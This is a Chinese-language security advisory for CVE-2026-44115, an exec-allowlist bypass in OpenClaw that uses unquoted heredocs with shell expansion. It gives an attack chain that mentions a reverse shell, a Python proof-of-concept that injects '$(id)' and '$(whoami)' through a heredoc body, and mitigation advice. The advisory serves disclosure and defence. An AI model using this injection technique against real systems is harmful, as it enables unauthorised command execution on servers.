IPBUF安全漏洞报告
English
CVE-2026-44115 CVSS 8.8 高危

CVE-2026-44115 OpenClaw heredoc命令执行漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-44115
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

RCEOpenClaw命令执行HeredocAllowlist Bypass

漏洞概述

OpenClaw 2026.4.22 之前的版本存在严重的 exec allowlist 分析漏洞。该漏洞源于程序未能正确解析未加引号的 heredoc 主体,允许在其中隐藏 shell 扩展。攻击者可通过在 heredoc 主体中嵌入特定的 shell 扩展标记,成功绕过允许列表的验证机制,进而在运行时执行未批准的恶意命令。此漏洞可能导致服务器被完全控制。

技术细节

该漏洞的根源在于 OpenClaw 在处理 exec 函数的允许列表时,对于 heredoc(Here Document)语法的解析存在缺陷。通常,heredoc 用于传递多行输入给命令。当 heredoc 的定界符未被引号包裹时(例如 `<<EOF` 而非 `<<"EOF"`),Shell 会在解析 heredoc 主体内容时进行变量扩展和命令替换。OpenClaw 的安全机制仅验证了执行的命令本身是否在允许列表中,却未对 heredoc 主体内容进行深度检查。攻击者可以构造包含恶意 shell 扩展标记(如 `$(command)` 或反引号)的 heredoc 输入。由于该内容被视为数据而非指令,它绕过了 allowlist 的初步检查。然而,当 Shell 实际执行命令时,会解析 heredoc 主体并触发这些扩展,从而导致任意命令执行,造成严重的安全后果。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是存在漏洞的 OpenClaw 版本(2026.4.22 之前)。
STEP 2
分析
攻击者枚举出 OpenClaw exec 允许列表中的命令(例如 'cat', 'echo' 等)。
STEP 3
载荷构造
攻击者构造一个特殊的请求,使用允许列表中的命令作为外壳,但在参数中插入未加引号的 heredoc 语法,并在 heredoc 主体中嵌入恶意 shell 扩展指令(如 `$(reverseshell)`)。
STEP 4
漏洞利用
发送恶意请求。OpenClaw 通过外壳命令的验证,但在执行时,Shell 解析 heredoc 主体并执行其中的隐藏命令。
STEP 5
执行命令
攻击者成功在目标服务器上执行任意代码,获取系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-44115: OpenClaw Heredoc Shell Expansion Bypass # This demonstrates bypassing the exec allowlist using unquoted heredocs. import requests TARGET_URL = "http://vulnerable-openclaw-instance/api/exec" # Assume 'cat' is on the allowlist, but 'id' or 'nc' is not. # The vulnerability allows executing commands inside the heredoc body. payload = { "command": "cat", # Use an unquoted heredoc delimiter to trigger shell expansion "args": ["<<EOF"], # The malicious command is hidden inside the heredoc body "stdin_data": "$(id)\n$(whoami)\nEOF" } try: response = requests.post(TARGET_URL, json=payload) print("Status Code:", response.status_code) print("Response Body:", response.text) # If successful, the output of 'id' and 'whoami' will be displayed # even though only 'cat' was authorized. except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.4.22

防御指南

临时缓解措施
在升级补丁前,建议严格限制 OpenClaw 的执行权限,避免以高权限用户运行。同时,检查并过滤输入流中是否存在未加引号的 heredoc 语法(如 `<<`)以及 shell 扩展字符(如 `$()`、反引号),以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表